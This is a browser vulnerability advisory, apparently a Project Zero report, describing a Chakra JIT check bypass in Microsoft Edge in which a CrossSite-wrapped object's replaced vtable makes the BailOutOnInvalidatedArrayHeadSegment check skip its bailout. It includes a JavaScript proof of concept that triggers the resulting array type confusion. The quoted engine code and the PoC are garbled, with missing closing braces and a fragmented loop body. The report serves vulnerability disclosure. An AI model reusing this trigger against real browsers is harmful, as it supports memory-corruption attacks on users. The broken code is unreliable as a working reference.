Microsoft Edge Chakra JIT BailOutOnInvalidatedArrayHeadSegment Check Bypass

Microsoft Edge suffers from a Chakra JIT BailOutOnInvalidatedArrayHeadSegment check bypass vulnerability.

MD5 | 7f812f298d3183ada0ed61bc7dbd7d82

Microsoft Edge: Chakra: JIT: BailOutOnInvalidatedArrayHeadSegment check bypass 


The BailOutOnInvalidatedArrayHeadSegment check uses the JavascriptArray::GetArrayForArrayOrObjectWithArray method to check whether the given object is an array. If it's not an array, it will decide to skip the check which means that no bailout will happen. The JavascriptArray::GetArrayForArrayOrObjectWithArray method determines it by comparing the vtable of the given object like the following.

if(vtable == VirtualTableInfo<JavascriptArray>::Address)
*arrayTypeIdRef = TypeIds_Array;
else if(vtable == VirtualTableInfo<JavascriptNativeIntArray>::Address)
*arrayTypeIdRef = TypeIds_NativeIntArray;
else if(vtable == VirtualTableInfo<JavascriptNativeFloatArray>::Address)
*arrayTypeIdRef = TypeIds_NativeFloatArray;
return nullptr;

array = FromVar(var);
return array;

Since wrapping an object with the CrossSite class replaces the vtable of the object, this can be used to bypass it.

function opt(x_obj, arr) {
arr[0] = 1.1;

x_obj.a = arr; // Replacing the vtable.
arr['leng' + 'th'] = 0; // The length changes, but the BailOutOnInvalidatedArrayHeadSegment check will think that it's not an array. So no bailout will happen.

arr[0] = 2.3023e-320;

let x_obj = document.body.appendChild(document.createElement('iframe')).contentWindow.eval('({})');
let arr = [1.1, 1.1];

for (let i = 0; i < 10000; i++) {
opt(x_obj, arr.concat());

opt(x_obj, arr);

arr[1] = {}; // in-place type conversion

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Found by: lokihardt

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